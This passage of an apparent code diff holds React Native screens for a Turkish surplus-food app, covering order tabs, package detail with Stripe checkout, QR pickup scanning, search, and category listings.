<View style={[styles.header, {paddingTop: insets.top + 12}]}>
<View>
<Text style={styles.headerTitle}>{t('orders.title')}</Text>
<Text style={styles.headerSubtitle}>{t('orders.orderCount', {count: totalCount})}</Text>
</View>
<TouchableOpacity style={styles.qrButton} onPress={handleQrScan} activeOpacity={0.7}>
<Text style={styles.qrIcon}>📷</Text>
<Text style={styles.qrLabel}>{t('orders.qrPickup')}</Text>
</TouchableOpacity>
</View>
{/* Tab bar */}
<View style={styles.tabBar}>
<TouchableOpacity
style={[styles.tab, activeTab === 'packages' && styles.tabActive]}
onPress={() => setActiveTab('packages')}>
<Text style={[styles.tabText, activeTab === 'packages' && styles.tabTextActive]}>
{t('orders.tabPackages')} ({orders.length})
</Text>
</TouchableOpacity>
<TouchableOpacity
style={[styles.tab, activeTab === 'meals' && styles.tabActive]}
onPress={() => setActiveTab('meals')}>
<Text style={[styles.tabText, activeTab === 'meals' && styles.tabTextActive]}>
{t('orders.tabMeals')} ({mealOrders.length})
</Text>
</TouchableOpacity>
</View>
{activeTab === 'packages' ? (
<FlatList
data={orders}
keyExtractor={item => item.id}
renderItem={({item}) => (
<OrderCard
order={item}
onPress={() => handleOrderPress(item)}
/>
)}
contentContainerStyle={styles.list}
refreshControl={
<RefreshControl
refreshing={refreshing}
onRefresh={() => fetchOrders(true)}
colors={[colors.primary]}
/>
}
ListEmptyComponent={
<View style={styles.empty}>
<View style={styles.emptyIconContainer}>
<Text style={styles.emptyIconText}>📦</Text>
</View>
<Text style={styles.emptyTitle}>{t('orders.emptyPackagesTitle')}</Text>
<Text style={styles.emptyText}>
{t('orders.emptyPackagesText')}
</Text>
</View>
}
/>
) : (
<FlatList
data={mealOrders}
keyExtractor={item => item.id}
renderItem={({item}) => (
<MealOrderCard
order={item}
onPress={() => handleMealOrderPress(item)}
/>
)}
contentContainerStyle={styles.list}
refreshControl={
<RefreshControl
refreshing={refreshing}
onRefresh={() => fetchOrders(true)}
colors={[colors.primary]}
/>
}
ListEmptyComponent={
<View style={styles.empty}>
<View style={styles.emptyIconContainer}>
<Text style={styles.emptyIconText}>🍲</Text>
</View>
<Text style={styles.emptyTitle}>{t('orders.emptyMealsTitle')}</Text>
<Text style={styles.emptyText}>
{t('orders.emptyMealsText')}
</Text>
</View>
}
/>
)}
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
loadingContainer: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F8F8F8',
},
header: {
backgroundColor: colors.primary,
paddingBottom: 16,
paddingHorizontal: 20,
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
},
headerTitle: {
fontSize: 22,
fontWeight: '700',
color: '#FFFFFF',
},
headerSubtitle: {
fontSize: 13,
color: 'rgba(255,255,255,0.7)',
marginTop: 2,
},
qrButton: {
flexDirection: 'row',
alignItems: 'center',
gap: 6,
backgroundColor: 'rgba(255,255,255,0.2)',
borderRadius: 12,
paddingHorizontal: 14,
paddingVertical: 10,
borderWidth: 1,
borderColor: 'rgba(255,255,255,0.3)',
},
qrIcon: {fontSize: 18},
qrLabel: {fontSize: 13, fontWeight: '700', color: '#FFFFFF'},
tabBar: {
flexDirection: 'row',
backgroundColor: '#FFFFFF',
borderBottomWidth: 1,
borderBottomColor: '#F3F4F6',
},
tab: {
flex: 1,
paddingVertical: 14,
alignItems: 'center',
borderBottomWidth: 2,
borderBottomColor: 'transparent',
},
tabActive: {
borderBottomColor: colors.primary,
},
tabText: {
fontSize: 14,
fontWeight: '600',
color: '#9CA3AF',
},
tabTextActive: {
color: colors.primary,
},
list: {padding: spacing.lg, paddingBottom: 100},
empty: {alignItems: 'center', paddingTop: 48, paddingHorizontal: 40},
emptyIconContainer: {
width: 80, height: 80, borderRadius: 40,
backgroundColor: '#F3F4F6', justifyContent: 'center', alignItems: 'center', marginBottom: 16,
},
emptyIconText: {fontSize: 36},
emptyTitle: {
fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 8,
},
emptyText: {
fontSize: 14, color: '#6B7280', textAlign: 'center',
},
});
@@ -0,0 +1,445 @@
import React, {useEffect, useState} from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
ScrollView,
TextInput,
Alert,
ActivityIndicator,
Linking,
Image,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import {colors, spacing, typography, borderRadius} from '../../theme';
import * as packagesApi from '../../api/packages';
import {createOrder} from '../../api/orders';
import client from '../../api/client';
const BASE_URL = 'https://bereketli.pezkiwi.app';
const CATEGORY_IMAGES: Record<string, string> = {
bakery: `${BASE_URL}/package-bakery.png`,
restaurant: `${BASE_URL}/package-restaurant.png`,
pastry: `${BASE_URL}/package-pastry.png`,
market: `${BASE_URL}/package-market.png`,
catering: `${BASE_URL}/package-restaurant.png`,
butcher: `${BASE_URL}/pkg-meat.jpg`,
greengrocer: `${BASE_URL}/pkg-vegetable.jpg`,
other: `${BASE_URL}/bereketli_paket.png`,
};
function getDetailImage(title: string, category: string): string {
const lower = title.toLowerCase();
if (lower.includes('et ') || lower.includes('kıyma') || lower.includes('sucuk')) return `${BASE_URL}/pkg-meat.jpg`;
if (lower.includes('mangal') || lower.includes('izgara')) return `${BASE_URL}/pkg-mangal.jpg`;
if (lower.includes('sebze')) return `${BASE_URL}/pkg-vegetable.jpg`;
if (lower.includes('meyve')) return `${BASE_URL}/pkg-fruit.jpg`;
return CATEGORY_IMAGES[category] || CATEGORY_IMAGES.other;
}
import type {Package} from '../../types/models';
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
type RootStackParamList = {
PackageDetail: {packageId: string; storeName?: string; storeAddress?: string};
OrderDetail: {orderId: string};
};
type Props = NativeStackScreenProps<RootStackParamList, 'PackageDetail'>;
function formatTime(iso: string): string {
const d = new Date(iso);
return `${d.getHours().toString().padStart(2, '0')}:${d.getMinutes().toString().padStart(2, '0')}`;
}
function discountPercent(price: number, original: number): number {
if (original <= 0) return 0;
return Math.round(((original - price) / original) * 100);
}
export default function PackageDetailScreen({route, navigation}: Props) {
const {t} = useTranslation();
const {packageId, storeName, storeAddress} = route.params;
const [pkg, setPkg] = useState<Package | null>(null);
const [loading, setLoading] = useState(true);
const [purchasing, setPurchasing] = useState(false);
const [deliveryType, setDeliveryType] = useState<'pickup' | 'delivery'>('pickup');
const [deliveryAddress, setDeliveryAddress] = useState('');
const insets = useSafeAreaInsets();
useEffect(() => {
loadPackage();
// eslint-disable-next-line react-hooks/exhaustive-deps -- loadPackage depends on packageId from route params which won't change
}, []);
const loadPackage = async () => {
try {
const data = await packagesApi.getPackage(packageId);
setPkg(data);
} catch {
Alert.alert(t('common.error'), t('packageDetail.loadError'));
} finally {
setLoading(false);
}
};
const handlePurchase = async () => {
if (!pkg) return;
if (deliveryType === 'delivery' && !deliveryAddress.trim()) {
Alert.alert(t('common.error'), t('packageDetail.deliveryAddressRequired'));
return;
}
setPurchasing(true);
try {
// 1. Sipariş oluştur
const order = await createOrder(
pkg.id,
1,
deliveryType,
deliveryType === 'delivery' ? deliveryAddress : undefined,
);
// 2. Ödeme sayfasına yönlendir (Stripe Checkout)
try {
const {data: payment} = await client.post<{checkout_url: string; order_id: string}>(
'/payment/create-checkout',
{order_id: order.id},
);
if (payment.checkout_url) {
await Linking.openURL(payment.checkout_url);
}
} catch {
// Ödeme sistemi yapılandırılmamış olabilir — siparişi yine göster
}
Alert.alert(
t('packageDetail.orderCreated'),
t('packageDetail.orderCreatedMsg', {orderId: order.id.slice(0, 8).toUpperCase(), price: pkg.price.toFixed(0)}),
[{text: t('packageDetail.viewOrder'), onPress: () => navigation.replace('OrderDetail', {orderId: order.id})}],
);
} catch (err: any) {
const msg = err?.response?.data?.message || t('packageDetail.orderFailed');
Alert.alert(t('common.error'), msg);
} finally {
setPurchasing(false);
}
};
if (loading) {
return (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={colors.primary} />
</View>
);
}
if (!pkg) {
return (
<View style={styles.container}>
<View style={[styles.headerBar, {paddingTop: insets.top + 8}]}>
<TouchableOpacity
style={styles.backButton}
onPress={() => navigation.goBack()}>
<Text style={styles.backIcon}>{'\u2190'}</Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('packageDetail.title')}</Text>
<View style={{width: 40}} />
</View>
<View style={styles.loadingContainer}>
<Text style={{fontSize: 48, marginBottom: 16}}>📦</Text>
<Text style={styles.errorText}>{t('packageDetail.notFound')}</Text>
<TouchableOpacity
style={{marginTop: 20, backgroundColor: colors.primary, borderRadius: 12, paddingHorizontal: 24, paddingVertical: 12}}
onPress={() => navigation.goBack()}>
<Text style={{color: '#FFFFFF', fontWeight: '700', fontSize: 14}}>{t('common.goBack')}</Text>
</TouchableOpacity>
</View>
</View>
);
}
const pct = discountPercent(pkg.price, pkg.original_value);
const categoryImage = getDetailImage(pkg.title, pkg.category);
return (
<View style={styles.container}>
{/* Header with safe area */}
<View style={[styles.headerBar, {paddingTop: insets.top + 8}]}>
<TouchableOpacity
style={styles.backButton}
onPress={() => navigation.goBack()}>
<Text style={styles.backIcon}></Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('packageDetail.title')}</Text>
<View style={{width: 40}} />
</View>
<ScrollView contentContainerStyle={styles.scroll}>
{/* Hero image */}
<View style={styles.hero}>
<Image
source={{uri: categoryImage}}
style={styles.heroImage}
resizeMode="cover"
/>
{pct > 0 && (
<View style={styles.discountBadge}>
<Text style={styles.discountText}>{t('packageDetail.discount', {percent: pct})}</Text>
</View>
)}
</View>
{/* Title & store */}
<View style={styles.infoSection}>
<Text style={styles.title}>{pkg.title}</Text>
{storeName && <Text style={styles.storeName}>{storeName}</Text>}
{storeAddress && <Text style={styles.address}>{storeAddress}</Text>}
</View>
{/* Description */}
{pkg.description && (
<View style={styles.section}>
<Text style={styles.sectionTitle}>{t('packageDetail.description')}</Text>
<Text style={styles.description}>{pkg.description}</Text>
</View>
)}
{/* Details */}
<View style={styles.section}>
<Text style={styles.sectionTitle}>{t('packageDetail.details')}</Text>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('packageDetail.priceLabel')}</Text>
<View style={styles.priceRow}>
<Text style={styles.price}>{pkg.price.toFixed(0)} TL</Text>
<Text style={styles.originalPrice}>{pkg.original_value.toFixed(0)} TL</Text>
</View>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('packageDetail.pickupTime')}</Text>
<Text style={styles.detailValue}>
{formatTime(pkg.pickup_start)} - {formatTime(pkg.pickup_end)}
</Text>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('packageDetail.remaining')}</Text>
<Text style={styles.detailValue}>{pkg.remaining} / {pkg.total_quantity}</Text>
</View>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>{t('packageDetail.status')}</Text>
<Text style={[
styles.detailValue,
pkg.status === 'active' ? styles.statusActive : styles.statusInactive,
]}>
{pkg.status === 'active' ? t('packageDetail.statusActive') : pkg.status === 'sold_out' ? t('packageDetail.statusSoldOut') : t('packageDetail.statusExpired')}
</Text>
</View>
</View>
{/* Delivery type picker */}
<View style={styles.section}>
<Text style={styles.sectionTitle}>{t('packageDetail.deliveryMethod')}</Text>
<View style={styles.deliveryOptions}>
<TouchableOpacity
style={[
styles.deliveryOption,
deliveryType === 'pickup' && styles.deliveryOptionActive,
]}
onPress={() => setDeliveryType('pickup')}>
<Text style={styles.deliveryEmoji}>{'\uD83D\uDEB6'}</Text>
<Text style={[
styles.deliveryLabel,
deliveryType === 'pickup' && styles.deliveryLabelActive,
]}>
{t('packageDetail.pickup')}
</Text>
</TouchableOpacity>
<TouchableOpacity
style={[
styles.deliveryOption,
deliveryType === 'delivery' && styles.deliveryOptionActive,
]}
onPress={() => setDeliveryType('delivery')}>
<Text style={styles.deliveryEmoji}>{'\uD83D\uDE97'}</Text>
<Text style={[
styles.deliveryLabel,
deliveryType === 'delivery' && styles.deliveryLabelActive,
]}>
{t('packageDetail.deliveryToAddress')}
</Text>
</TouchableOpacity>
</View>
{deliveryType === 'delivery' && (
<TextInput
style={styles.addressInput}
placeholder={t('packageDetail.deliveryAddressPlaceholder')}
placeholderTextColor={colors.textLight}
value={deliveryAddress}
onChangeText={setDeliveryAddress}
multiline
numberOfLines={2}
/>
)}
</View>
</ScrollView>
{/* Purchase button */}
{pkg.status === 'active' && pkg.remaining > 0 && (
<View style={styles.bottomBar}>
<View style={styles.bottomPrice}>
<Text style={styles.bottomPriceLabel}>{t('packageDetail.total')}</Text>
<Text style={styles.bottomPriceValue}>{pkg.price.toFixed(0)} TL</Text>
</View>
<TouchableOpacity
style={[styles.purchaseButton, purchasing && styles.purchaseButtonDisabled]}
onPress={handlePurchase}
disabled={purchasing}>
<Text style={styles.purchaseText}>
{purchasing ? t('packageDetail.purchasing') : t('packageDetail.purchase')}
</Text>
</TouchableOpacity>
</View>
)}
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: colors.background},
loadingContainer: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: colors.background,
},
errorText: {...typography.body, color: colors.textSecondary},
headerBar: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
paddingHorizontal: 16,
paddingBottom: 12,
backgroundColor: colors.primary,
},
backButton: {
width: 40,
height: 40,
justifyContent: 'center',
alignItems: 'center',
},
backIcon: {fontSize: 22, color: '#FFFFFF'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
scroll: {paddingBottom: 100},
hero: {
height: 200,
backgroundColor: '#F3F4F6',
position: 'relative',
},
heroImage: {width: '100%', height: '100%'},
discountBadge: {
backgroundColor: colors.error,
borderRadius: borderRadius.md,
paddingHorizontal: spacing.lg,
paddingVertical: spacing.xs,
marginTop: spacing.md,
},
discountText: {...typography.bodyBold, color: colors.textWhite},
infoSection: {
padding: spacing.xl,
backgroundColor: colors.backgroundWhite,
borderBottomWidth: 1,
borderBottomColor: colors.border,
},
title: {...typography.h2, color: colors.textPrimary},
storeName: {...typography.captionBold, color: colors.primary, marginTop: spacing.xs},
address: {...typography.caption, color: colors.textSecondary, marginTop: 2},
section: {
padding: spacing.xl,
backgroundColor: colors.backgroundWhite,
marginTop: spacing.sm,
},
sectionTitle: {...typography.captionBold, color: colors.textSecondary, marginBottom: spacing.md},
description: {...typography.body, color: colors.textPrimary, lineHeight: 24},
detailRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
paddingVertical: spacing.sm,
borderBottomWidth: StyleSheet.hairlineWidth,
borderBottomColor: colors.borderLight,
},
detailLabel: {...typography.caption, color: colors.textSecondary},
detailValue: {...typography.captionBold, color: colors.textPrimary},
priceRow: {flexDirection: 'row', alignItems: 'baseline', gap: spacing.sm},
price: {...typography.price, color: colors.primary},
originalPrice: {
...typography.caption,
color: colors.textLight,
textDecorationLine: 'line-through',
},
statusActive: {color: colors.success},
statusInactive: {color: colors.error},
deliveryOptions: {
flexDirection: 'row',
gap: spacing.md,
},
deliveryOption: {
flex: 1,
alignItems: 'center',
paddingVertical: spacing.lg,
borderRadius: borderRadius.md,
borderWidth: 1.5,
borderColor: colors.border,
backgroundColor: colors.backgroundWhite,
},
deliveryOptionActive: {
borderColor: colors.primary,
backgroundColor: '#E8F5E9',
},
deliveryEmoji: {fontSize: 24, marginBottom: spacing.xs},
deliveryLabel: {...typography.captionBold, color: colors.textSecondary},
deliveryLabelActive: {color: colors.primary},
addressInput: {
backgroundColor: colors.backgroundWhite,
borderWidth: 1,
borderColor: colors.border,
borderRadius: borderRadius.md,
padding: spacing.lg,
marginTop: spacing.lg,
fontSize: 16,
color: colors.textPrimary,
minHeight: 60,
textAlignVertical: 'top',
},
bottomBar: {
position: 'absolute',
bottom: 0,
left: 0,
right: 0,
flexDirection: 'row',
alignItems: 'center',
backgroundColor: colors.backgroundWhite,
paddingHorizontal: spacing.xl,
paddingVertical: spacing.lg,
borderTopWidth: 1,
borderTopColor: colors.border,
shadowColor: '#000',
shadowOffset: {width: 0, height: -2},
shadowOpacity: 0.1,
shadowRadius: 4,
elevation: 5,
},
bottomPrice: {flex: 1},
bottomPriceLabel: {...typography.small, color: colors.textSecondary},
bottomPriceValue: {...typography.h2, color: colors.primary},
purchaseButton: {
backgroundColor: colors.primary,
borderRadius: borderRadius.md,
paddingHorizontal: spacing.xxl,
paddingVertical: spacing.lg,
},
purchaseButtonDisabled: {opacity: 0.6},
purchaseText: {...typography.button, color: colors.textWhite},
});
@@ -0,0 +1,161 @@
import React, {useState, useRef} from 'react';
import {View, Text, StyleSheet, TouchableOpacity, Alert, ActivityIndicator} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import { CameraView, useCameraPermissions } from 'expo-camera';
import {useTranslation} from 'react-i18next';
import {colors} from '../../theme';
import {confirmPickup} from '../../api/orders';
export default function QrScanScreen({navigation}: any) {
const {t} = useTranslation();
const [scanning, setScanning] = useState(true);
const [processing, setProcessing] = useState(false);
const insets = useSafeAreaInsets();
const processedRef = useRef(false);
const handleQrRead = async (event: any) => {
if (processedRef.current || processing) return;
const qrData = event.nativeEvent?.codeStringValue || event?.nativeEvent?.codeStringValue;
if (!qrData) return;
processedRef.current = true;
setScanning(false);
setProcessing(true);
try {
// QR data format: "orderId:qrToken" or just qrToken
let orderId = '';
let qrToken = '';
if (qrData.includes(':')) {
const parts = qrData.split(':');
orderId = parts[0];
qrToken = parts[1];
} else {
// Try as pure qr_token — backend will match
qrToken = qrData;
orderId = qrData;
}
const order = await confirmPickup(orderId, qrToken);
Alert.alert(
t('qrScan.successTitle'),
t('qrScan.successMessage', {orderId: order.id.slice(0, 8).toUpperCase(), price: order.total_price.toFixed(0)}),
[{text: t('common.ok'), onPress: () => navigation.goBack()}],
);
} catch (err: any) {
const msg = err?.response?.data?.message || t('qrScan.errorMessage');
Alert.alert(t('common.error'), msg, [
{text: t('qrScan.retryButton'), onPress: () => {
processedRef.current = false;
setScanning(true);
setProcessing(false);
}},
{text: t('common.cancel'), onPress: () => navigation.goBack()},
]);
}
};
return (
<View style={styles.container}>
{/* Header */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<TouchableOpacity onPress={() => navigation.goBack()} style={styles.backBtn}>
<Text style={styles.backIcon}></Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('qrScan.title')}</Text>
<View style={{width: 40}} />
</View>
{/* Camera */}
<View style={styles.cameraContainer}>
{scanning && (
<CameraView
style={styles.camera}
facing="back"
barcodeScannerSettings={{ barcodeTypes: ['qr'] }}
onBarcodeScanned={(result) => handleQrRead({ nativeEvent: { codeStringValue: result.data } })}
/>
)}
{/* Overlay */}
<View style={styles.overlay}>
<View style={styles.scanFrame}>
{processing && (
<ActivityIndicator size="large" color={colors.primary} />
)}
</View>
</View>
</View>
{/* Instructions */}
<View style={styles.instructions}>
<Text style={styles.instructionTitle}>
{processing ? t('qrScan.verifying') : t('qrScan.scanPrompt')}
</Text>
<Text style={styles.instructionText}>
{t('qrScan.instructions')}
</Text>
</View>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#000'},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
paddingHorizontal: 16,
paddingBottom: 12,
backgroundColor: 'rgba(0,0,0,0.8)',
zIndex: 10,
},
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
backIcon: {fontSize: 24, color: '#FFFFFF'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
cameraContainer: {
flex: 1,
position: 'relative',
},
camera: {
flex: 1,
},
overlay: {
...StyleSheet.absoluteFillObject,
justifyContent: 'center',
alignItems: 'center',
},
scanFrame: {
width: 250,
height: 250,
borderWidth: 3,
borderColor: colors.primary,
borderRadius: 16,
justifyContent: 'center',
alignItems: 'center',
},
instructions: {
backgroundColor: '#FFFFFF',
paddingHorizontal: 24,
paddingVertical: 24,
alignItems: 'center',
},
instructionTitle: {
fontSize: 18,
fontWeight: '700',
color: '#1A1A1A',
marginBottom: 8,
},
instructionText: {
fontSize: 14,
color: '#6B7280',
textAlign: 'center',
lineHeight: 20,
},
});
@@ -0,0 +1,267 @@
import React, {useState, useEffect, useCallback} from 'react';
import {
View,
Text,
TextInput,
TouchableOpacity,
StyleSheet,
FlatList,
Image,
ActivityIndicator,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import {colors} from '../../theme';
import * as searchApi from '../../api/search';
import type {PackageNearby} from '../../types/models';
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
const BASE_URL = 'https://bereketli.pezkiwi.app';
const POPULAR_SEARCHES = [
'Fırın', 'Pastane', 'Restoran', 'Market', 'Börek', 'Ekmek', 'Tatlı', 'Kahvaltı',
];
const POPULAR_CATEGORIES = [
{label: 'Fırın', image: `${BASE_URL}/package-bakery.png`, category: 'bakery'},
{label: 'Restoran', image: `${BASE_URL}/package-restaurant.png`, category: 'restaurant'},
{label: 'Pastane', image: `${BASE_URL}/package-pastry.png`, category: 'pastry'},
{label: 'Market', image: `${BASE_URL}/package-market.png`, category: 'market'},
];
export default function SearchScreen({navigation}: any) {
const {t} = useTranslation();
const [query, setQuery] = useState('');
const [results, setResults] = useState<PackageNearby[]>([]);
const [searching, setSearching] = useState(false);
const [hasSearched, setHasSearched] = useState(false);
const insets = useSafeAreaInsets();
const handleSearch = useCallback(async (q: string) => {
if (q.trim().length < 2) {
setResults([]);
setHasSearched(false);
return;
}
setSearching(true);
setHasSearched(true);
try {
const data = await searchApi.searchPackages(q);
setResults(data);
} catch {
setResults([]);
} finally {
setSearching(false);
}
}, []);
// Debounced search
useEffect(() => {
const timer = setTimeout(() => handleSearch(query), 400);
return () => clearTimeout(timer);
}, [query, handleSearch]);
const handleCategoryPress = (_category: string) => {
navigation.goBack();
// TODO: Pass selected category back to parent for filtering
};
const handleResultPress = (item: PackageNearby) => {
navigation.navigate('PackageDetail', {
packageId: item.id,
storeName: item.store_name,
storeAddress: item.store_address,
});
};
return (
<View style={styles.container}>
{/* Search header */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<TouchableOpacity onPress={() => navigation.goBack()} style={styles.backBtn}>
<Icon name="arrow-left" size={22} color="#FFFFFF" />
</TouchableOpacity>
<View style={styles.searchBar}>
<Icon name="magnify" size={20} color="#9CA3AF" />
<TextInput
style={styles.searchInput}
placeholder={t('search.placeholder')}
placeholderTextColor="#9CA3AF"
value={query}
onChangeText={setQuery}
autoFocus
/>
{query.length > 0 && (
<TouchableOpacity onPress={() => setQuery('')}>
<Icon name="close" size={18} color="#9CA3AF" />
</TouchableOpacity>
)}
</View>
</View>
{/* Content */}
{!hasSearched ? (
<FlatList
ListHeaderComponent={
<>
{/* Popular categories (YS style — photo cards) */}
<Text style={styles.sectionTitle}>{t('search.popularCategories')}</Text>
<FlatList
horizontal
showsHorizontalScrollIndicator={false}
data={POPULAR_CATEGORIES}
keyExtractor={item => item.category}
contentContainerStyle={styles.categoriesList}
renderItem={({item}) => (
<TouchableOpacity
style={styles.categoryCard}
onPress={() => handleCategoryPress(item.category)}
activeOpacity={0.8}>
<Image source={{uri: item.image}} style={styles.categoryImage} resizeMode="cover" />
<Text style={styles.categoryLabel}>{item.label}</Text>
</TouchableOpacity>
)}
/>
{/* Popular searches (YS style — pill tags) */}
<Text style={styles.sectionTitle}>{t('search.popularSearches')}</Text>
<View style={styles.tagsContainer}>
{POPULAR_SEARCHES.map(tag => (
<TouchableOpacity
key={tag}
style={styles.tag}
onPress={() => setQuery(tag)}>
<Text style={styles.tagText}>{tag}</Text>
</TouchableOpacity>
))}
</View>
</>
}
data={[]}
renderItem={() => null}
/>
) : searching ? (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={colors.primary} />
</View>
) : (
<FlatList
data={results}
keyExtractor={item => item.id}
contentContainerStyle={styles.resultsList}
ListHeaderComponent={
<Text style={styles.resultCount}>
{results.length > 0 ? t('search.resultCount', {count: results.length}) : ''}
</Text>
}
renderItem={({item}) => (
<TouchableOpacity
style={styles.resultCard}
onPress={() => handleResultPress(item)}
activeOpacity={0.8}>
<Image
source={{uri: `${BASE_URL}/package-${item.category || 'bakery'}.png`}}
style={styles.resultImage}
resizeMode="cover"
/>
<View style={styles.resultInfo}>
<Text style={styles.resultStore} numberOfLines={1}>{item.store_name}</Text>
<Text style={styles.resultTitle} numberOfLines={1}>{item.title}</Text>
<View style={styles.resultPriceRow}>
<Text style={styles.resultPrice}>{item.price.toFixed(0)} TL</Text>
<Text style={styles.resultOriginal}>{item.original_value.toFixed(0)} TL</Text>
</View>
</View>
</TouchableOpacity>
)}
ListEmptyComponent={
<View style={styles.emptySearch}>
<Icon name="magnify" size={48} color="#D1D5DB" />
<Text style={styles.emptyTitle}>{t('search.emptyTitle')}</Text>
<Text style={styles.emptyText}>{t('search.emptyText')}</Text>
</View>
}
/>
)}
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
header: {
backgroundColor: colors.primary,
paddingBottom: 12,
paddingHorizontal: 16,
flexDirection: 'row',
alignItems: 'center',
gap: 10,
},
backBtn: {padding: 4},
searchBar: {
flex: 1,
flexDirection: 'row',
alignItems: 'center',
backgroundColor: '#FFFFFF',
borderRadius: 10,
paddingHorizontal: 12,
height: 42,
gap: 8,
},
searchInput: {flex: 1, fontSize: 14, color: '#1A1A1A', padding: 0},
sectionTitle: {
fontSize: 18, fontWeight: '700', color: '#1A1A1A',
paddingHorizontal: 16, paddingTop: 20, paddingBottom: 12,
},
// Categories (YS style)
categoriesList: {paddingHorizontal: 16, gap: 12},
categoryCard: {
width: 140, height: 120, borderRadius: 12, overflow: 'hidden',
backgroundColor: '#FFFFFF',
shadowColor: '#000', shadowOffset: {width: 0, height: 1},
shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
},
categoryImage: {width: '100%', height: 80},
categoryLabel: {
fontSize: 14, fontWeight: '600', color: '#1A1A1A',
textAlign: 'center', paddingVertical: 8,
},
// Tags (YS style pill chips)
tagsContainer: {
flexDirection: 'row', flexWrap: 'wrap',
paddingHorizontal: 16, gap: 8,
},
tag: {
paddingHorizontal: 16, paddingVertical: 10,
borderRadius: 20, borderWidth: 1, borderColor: '#E5E7EB',
backgroundColor: '#FFFFFF',
},
tagText: {fontSize: 14, color: '#374151', fontWeight: '500'},
// Results
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center'},
resultsList: {paddingHorizontal: 16, paddingTop: 8, paddingBottom: 100},
resultCount: {fontSize: 13, color: '#9CA3AF', marginBottom: 12},
resultCard: {
flexDirection: 'row', backgroundColor: '#FFFFFF', borderRadius: 12,
marginBottom: 10, overflow: 'hidden',
shadowColor: '#000', shadowOffset: {width: 0, height: 1},
shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
},
resultImage: {width: 100, height: 90},
resultInfo: {flex: 1, padding: 12, justifyContent: 'center'},
resultStore: {fontSize: 12, fontWeight: '600', color: '#6B7280', marginBottom: 2},
resultTitle: {fontSize: 15, fontWeight: '700', color: '#1A1A1A', marginBottom: 6},
resultPriceRow: {flexDirection: 'row', alignItems: 'baseline', gap: 6},
resultPrice: {fontSize: 16, fontWeight: '800', color: colors.primary},
resultOriginal: {fontSize: 12, color: '#9CA3AF', textDecorationLine: 'line-through'},
// Empty
emptySearch: {alignItems: 'center', paddingTop: 60},
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginTop: 12},
emptyText: {fontSize: 14, color: '#6B7280', marginTop: 4},
});
@@ -0,0 +1,769 @@
import React, {useEffect, useState, useCallback} from 'react';
import {useFocusEffect} from '@react-navigation/native';
import {
View,
Text,
FlatList,
TouchableOpacity,
StyleSheet,
RefreshControl,
StatusBar,
ScrollView,
Image,
Alert,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {colors} from '../../theme';
import {useLocationStore} from '../../store/locationStore';
import client from '../../api/client';
// TODO: Replace with expo-notifications in Faz 4
const messaging = Object.assign(
() => ({ requestPermission: async () => 1, getToken: async () => '' }),
{ AuthorizationStatus: { AUTHORIZED: 1, PROVISIONAL: 2, NOT_DETERMINED: -1, DENIED: 0 } }
);
import {useTranslation} from 'react-i18next';
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
import OfflineBanner from '../../components/OfflineBanner';
import AnnouncementBanner from '../../components/AnnouncementBanner';
import * as packagesApi from '../../api/packages';
import type {PackageNearby, StoreType} from '../../types/models';
import PackageCard from '../../components/PackageCard';
import FilterModal from '../../components/FilterModal';
import type {FilterState, FilterSection} from '../../components/FilterModal';
import AsyncStorage from '@react-native-async-storage/async-storage';
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
import type {YemekStackParamList} from '../../navigation/MainTabNavigator';
const BASE_URL = 'https://bereketli.pezkiwi.app';
const CATEGORIES: {key: StoreType | 'all'; labelKey: string; image: string | null; icon: string; color: string}[] = [
{key: 'all', labelKey: 'packages.categoryAll', image: `${BASE_URL}/bereketli_paket.png`, icon: '🍽️', color: '#2D6A4F'},
{key: 'bakery', labelKey: 'packages.categoryBakery', image: `${BASE_URL}/package-bakery.png`, icon: '🍞', color: '#E8A838'},
{key: 'restaurant', labelKey: 'packages.categoryRestaurant', image: `${BASE_URL}/package-restaurant.png`, icon: '🍲', color: '#EF4444'},
{key: 'pastry', labelKey: 'packages.categoryPastry', image: `${BASE_URL}/package-pastry.png`, icon: '🍰', color: '#EC4899'},
{key: 'market', labelKey: 'packages.categoryMarket', image: `${BASE_URL}/package-market.png`, icon: '🛒', color: '#10B981'},
];
